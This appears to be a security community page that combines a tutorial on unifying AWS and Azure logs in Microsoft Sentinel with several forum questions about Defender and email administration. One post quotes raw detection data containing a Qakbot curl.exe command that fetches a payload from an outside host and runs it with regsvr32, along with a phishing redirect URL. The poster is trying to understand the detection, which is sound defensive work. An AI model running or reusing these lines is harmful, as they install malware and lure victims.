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Unifying AWS and Azure Security Operations with Microsoft Sentinel
The Multi-Cloud Reality Most modern enterprises operate in multi-cloud environments using Azure for core workloads and AWS for development, storage, or DevOps automation. While this approach increases agility, it also expands the attack surface. Each platform generates its own telemetry: Azure: Activity Logs, Defender for Cloud, Entra ID sign-ins, Sentinel analytics AWS: CloudTrail, GuardDuty, Config, and CloudWatch Without a unified view, security teams struggle to detect cross-cloud threats promptly. That’s where Microsoft Sentinel comes in, bridging Azure and AWS into a single, intelligent Security Operations Center (SOC). Architecture Overview Connect AWS Logs to Sentinel AWS CloudTrail via S3 Connector Enable the AWS CloudTrail connector in Sentinel. Provide your S3 bucket and IAM role ARN with read access. Sentinel will automatically normalize logs into the AWSCloudTrail table. AWS GuardDuty Connector Use the AWS GuardDuty API integration for threat detection telemetry. Detected threats, such as privilege escalation or reconnaissance, appear in Sentinel as the AWSGuardDuty table. Normalize and Enrich Data Once logs are flowing, enrich them to align with Azure activity data. Example KQL for mapping CloudTrail to Sentinel entities: AWSCloudTrail | extend AccountId = tostring(parse_json(Resources)[0].accountId) | extend User = tostring(parse_json(UserIdentity).userName) | extend IPAddress = tostring(SourceIpAddress) | project TimeGenerated, EventName, User, AccountId, IPAddress, AWSRegion Then correlate AWS and Azure activities: let AWS = AWSCloudTrail | summarize AWSActivity = count() by User, bin(TimeGenerated, 1h); let Azure = AzureActivity | summarize AzureActivity = count() by Caller, bin(TimeGenerated, 1h); AWS | join kind=inner (Azure) on $left.User == $right.Caller | where AWSActivity > 0 and AzureActivity > 0 | project TimeGenerated, User, AWSActivity, AzureActivity Automate Cross-Cloud Response Once incidents are correlated, Microsoft Sentinel Playbooks (Logic Apps) can automate your response: Example Playbook: “CrossCloud-Containment.json” Disable user in Entra ID Send a command to the AWS API via Lambda to deactivate IAM key Notify SOC in Teams Create ServiceNow ticket POST https://api.aws.amazon.com/iam/disable-access-key PATCH https://graph.microsoft.com/v1.0/users/{user-id} { "accountEnabled": false } Build a Multi-Cloud SOC Dashboard Use Sentinel Workbooks to visualize unified operations: Query 1 – CloudTrail Events by Region AWSCloudTrail | summarize Count = count() by AWSRegion | render barchart Query 2 – Unified Security Alerts union SecurityAlert, AWSGuardDuty | summarize TotalAlerts = count() by ProviderName, Severity | render piechart Scenario Incident: A compromised developer account accesses EC2 instances on AWS and then logs into Azure via the same IP. Detection Flow: CloudTrail logs → Sentinel detects unusual API calls Entra ID sign-ins → Sentinel correlates IP and user Sentinel incident triggers playbook → disables user in Entra ID, suspends AWS IAM key, notifies SOC Strengthen Governance with Defender for Cloud Enable Microsoft Defender for Cloud to: Monitor both Azure and AWS accounts from a single portal Apply CIS benchmarks for AWS resources Surface findings in Sentinel’s SecurityRecommendations table
Explorer permission to download an email
Global Admin is allegedly not sufficient access to download an email. So I have a user asking for a copy of her emaill, and I'm telling her 'sorry, I don't have that permission', I'm only global admin' What? The documentation basically forces you to use the new terrible 'role group' system. I see various 'roles' that you need to add to a 'role group' in order to do this.. Some mention Preview, some mention Security Administrator, some mention Security Operator. I've asked copilot 100 different times, and he keeps giving me made up roles. But then linking to the made up role. How is such a basic functionality broken? It makes 0 sense. I don't want to submit this email - it's not malware or anything. I just want to download the **bleep** thing, and I don't want to have to go through the whole poorview process. This is really basic stuff. I can do this on about 10% of my GA accounts. There's no difference in the permissions - it just seems inconsistent.
Investigating Excel-Initiated Email Activity Without Sent Items Trace
Two days ago, three emails were sent from a user’s inbox without leaving any copies in the Sent Items folder. The user did not send these emails manually—this is confirmed by the presence of the SimpleMAPI flag in Outlook. **What I know:** **Email Characteristics:** - All three emails contained a Word attachment. - No body text was present. - The subject line matched the attachment file name. - Two of the emails were identical. **Recipients:** - Emails were sent to colleagues who originally created the attached documents. **Attachment Details:** - One attachment appeared to be a temporary file (e.g., a3e6....). **System Behavior:** - No suspicious logins detected before or after the event. - Emails were sent via the Outlook.exe process on the user’s machine. - Excel.exe was identified as the parent initiating process according to Microsoft Defender endpoint logs. **In Defender's Endpoint logs I found this under Typed Details (related to the firing of the 3 emails):** - Downloaded file: `2057_5_0_word_httpsshredder-eu.osi.office.net_main.html` - Path: `C:\Users\s***s\AppData\Local\Microsoft\Office\16.0\TapCache\2057_5_0_word_httpsshredder-eu.osi.office.net_main.html` - Downloaded file: `~$rmalEmail.dotm` - Path: `C:\Users\s***s\AppData\Roaming\Microsoft\Templates\~$rmalEmail.dotm` I am seeking assistance to replicate this issue and accurately determine how these three emails were triggered.
Entity playbook in XDR
Hello All! In my Logic Apps Sentinel automations I often use the entity trigger to run some workflows. Some time ago there was information, that Sentinel will be moved to the Microsoft XDR, some of the Sentinel elements are already there. In XDR I can run playbook from the incident level, but I can't do it from the entity level - for example in the XDR when I clicked in the IP or when I open IP address page I can't find the Run playbook button or something like that. Do you know if the Run playbook on entity feature will be moved to XDR also? Best, Piotr K.
Scam Defender pop Up… help please
Can someone please help my dad has had what looks like scam pop ups come up on his MacBook I have reported to Microsoft but don’t know how long it will be until they get back to me. I want to know if anyone can confirm they’re scams and how I can get them off his screen, it won’t let us click on the X Thank you
Disable Defender for Cloud Apps alerts
Hi all, we just enabled Defender for Cloud Apps in our environment (about 500 clients). We started with setting about 300 apps to "Unsanctioned". Now we get flooded with alerts. Mainly "Connection to a custom network indicator on one endpoint" and "Multi-stage incident on multiple endpoints" when an URL is blocked on more clients. Is there a possibility to disable the alerts for this kind of blocks? I tried creating a supression rules, but didnt manage to get it working. Dont know if it is not possible or if I made a mistake. As the Defender for Cloud Apps just creates a Indicator for every app i want to block I could click every single Indicator and disable the alert there. But thats a few hundred Indicators and we plan to extend the usage. Can I centrally disable alerts for custom indicators? Thanks & CheersNetworkSignatureInspected
Hi, Whilst looking into something, I was thrown off by a line in a device timeline export, with ActionType of NetworkSignatureInspected, and the content. I've read this article, so understand the basics of the function: Enrich your advanced hunting experience using network layer signals from Zeek I popped over to Sentinel to widen the search as I was initially concerned, but now think it's expected behaviour as I see the same data from different devices. Can anyone provide any clarity on the contents of AdditionalFields, where the ActionType is NetworkSignatureInspected, references for example CVE-2021-44228: ${token}/sendmessage`,{method:"post",%90%00%02%10%00%00%A1%02%01%10*%A9Cj)|%00%00$%B7%B9%92I%ED%F1%91%0B\%80%8E%E4$%B9%FA%01.%EA%FA<title>redirecting...</title><script>window.location.href="https://uyjh8.phiachiphe.ru/bjop8dt8@0uv0/#%90%02%1F@%90%02%1F";%90%00!#SCPT:Trojan:BAT/Qakbot.RVB01!MTB%00%02%00%00%00z%0B%01%10%8C%BAUU)|%00%00%CBw%F9%1Af%E3%B0?\%BE%10|%CC%DA%BE%82%EC%0B%952&&curl.exe--output%25programdata%25\xlhkbo\ff\up2iob.iozv.zmhttps://neptuneimpex.com/bmm/j.png&&echo"fd"&®svr32"%90%00!#SCPT:Trojan:HTML/Phish.DMOH1!MTB%00%02%00%00%00{%0B%01%10%F5):[)|%00%00v%F0%ADS%B8i%B2%D4h%EF=E"#%C5%F1%FFl>J<scripttype="text/javascript">window.location="https:// Defender reports no issues on the device and logs (for example DeviceNetworkEvents or CommonSecurityLog) don't return any hits for the sites referenced. Any assistance with rationalising this would be great, thanks.
Security Admin role replacement with Defender XDR
We currently have the Security Administrator role assigned to multiple users in our organization. We are considering replacing it with custom RBAC roles in Microsoft Defender XDR as described in https://learn.microsoft.com/en-us/defender-xdr/custom-roles Our goal is to provide these users full access to the Microsoft Defender security portal so they can respond to alerts and manage security operations. They do not require access to the Entra ID portal for tasks such as managing conditional access policies or authentication method policies. Can we completely remove the Security Administrator role and rely solely on the custom RBAC role in Defender XDR to meet these requirements?
